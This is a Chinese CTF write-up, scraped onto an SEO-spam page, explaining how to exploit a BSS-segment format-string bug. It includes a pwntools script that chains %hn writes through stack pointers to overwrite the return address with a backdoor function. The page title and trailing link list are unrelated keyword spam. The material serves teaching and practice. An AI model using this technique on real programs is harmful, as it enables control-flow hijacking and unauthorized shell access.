当前位置: 首页 > wzjs >正文

网站留言板漏洞外贸网站建设推广

网站留言板漏洞,外贸网站建设推广,系统官网网站模板下载,做药品的电商网站有哪些BSS段上的fmt不同于一般的fmt,泄露的栈上地址不能直接修改利用需要借助rbp以及栈上的链条间接写到栈上做这类题的最终目的是将返回地址改为目标地址做题步骤为1.泄露某个栈地址,根据偏移定位RBP8(返回地址位置)2.再利用fmt找到一个…

BSS段上的fmt不同于一般的fmt,泄露的栈上地址不能直接修改利用

需要借助rbp以及栈上的链条间接写到栈上

做这类题的最终目的是将返回地址改为目标地址

做题步骤为

1.泄露某个栈地址,根据偏移定位RBP+8(返回地址位置)

2.再利用fmt找到一个带有指向链条的栈地址并且得出这些地址的fmt偏移(addr1->addr2)

3.将addr1改为RBP+8地址,再将addr2改为目标地址(后门函数或system)

用一个BSSFMT题目为例:

checksec:

64位 开了Canary和NX

IDA64打开 查看函数 

会循环进行read和printf 存在格式化字符串漏洞

同时变量在BSS段上

有后门函数

gdb调试一下,找到偏移:

这里使用fmt偏移为10的栈地址,和rbp+8的地址距离为0x38

同时注意到r12的位置存在一个指向链,一个个偏移试出它们对应的fmt偏移是17,47:

接下来按照步骤进行写入:

from pwn import *p = process('./bssfmt')
context.log_level = 'debug'shell = 0x400A86
p.sendlineafter("FMT TESTING....\n", b'%10$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(hex(stack))
rip = ((stack) & 0xffff) - 0x38
#1----根据偏移定位RBP+8p.sendlineafter(b"> ", b"yes")
payload = b'%' + str(rip).encode() + b'c%17$hn'
#gdb.attach(p)
p.sendline(payload)
#2----将addr1改为RBP+8地址p.sendlineafter(b"> ", b"yes")
payload2 =b'%' + str(shell & 0xffff).encode() + b'c%47$hn'
#pause()
p.sendline(payload2)
#3----再将addr2改为后门函数
p.interactive()

这样,就能让RBP+8(返回地址)的位置指向了后门函数,从而get shell

同时,有几点需要注意:

1.在动态调试的时候,出现了没有16字节对齐的情况,这个时候需要按照栈对齐的方法,把后门函数地址+1来保证栈对齐

2.尽量使用%hn或%hhn来写入数据,虽然%n在这题没问题,但是一次写入过多字节可能导致程序崩溃,而且使用%n的exp时,也会出现接收极多数据的现象(虽然也能打通,但是看起来很怪):

3.关于泄露rbp+8地址的选择,只要能得出固定偏移即可,在这题中,使用fmt偏移为8的栈地址同样能打通,只是离rbp+8的距离会改为0x150

http://www.dtcms.com/wzjs/530626.html

相关文章:

  • 建设部网站1667号下载建设官网的网站首页
  • 自己做家具展示网站2023第二波疫情已经到来
  • 常州做企业网站的公司网站优化推广招聘
  • 上门做美容的网站购买域名后如何建立网站
  • 书店网站开发今日头条官网首页
  • 武汉做网站公司电话百度快速排名平台
  • 连云港建设局网站站长工具pr值查询
  • 设计app界面网站关键词优化价格
  • 怎么样推销自己网站山东关键词快速排名
  • 手机网站特效代码网站流量统计
  • 山东省住房城乡建设厅查询网站首页seo和sem是什么意思
  • 环境设计专业网站上海短视频培训机构
  • wordpress情侣网站源码谷歌排名优化
  • 安徽建设监管网站网站排名搜索
  • 网站免费正能量加载要快营销软文广告
  • 免费注册网站云空间手机优化管家
  • 椒江做国际网站的公司文案代写在哪里接单子
  • 深圳企业网站建设维护移动网站优化排名
  • 网站名字备案seo优化技术
  • 小型购物网站开发费用互联网最赚钱的行业
  • 泉州seo不到首页不扣费深圳百度seo代理
  • 网站建设合同 英文百度推广系统营销平台
  • 自己做一网站_多做宣传.谷歌sem和seo区别
  • 河南建设信息工程网seo顾问推推蛙
  • wordpress网站如何添加内链谷歌搜索引擎入口google
  • 校园网站开发设计报告沈阳seo优化新势力
  • 吉安市建设局施工管理站网站b站入口2024已更新
  • vs sql server网站开发app注册接单平台
  • 帮人做网站赚钱搜索引擎优化百度百科
  • 教做面包的网站浙江网络推广公司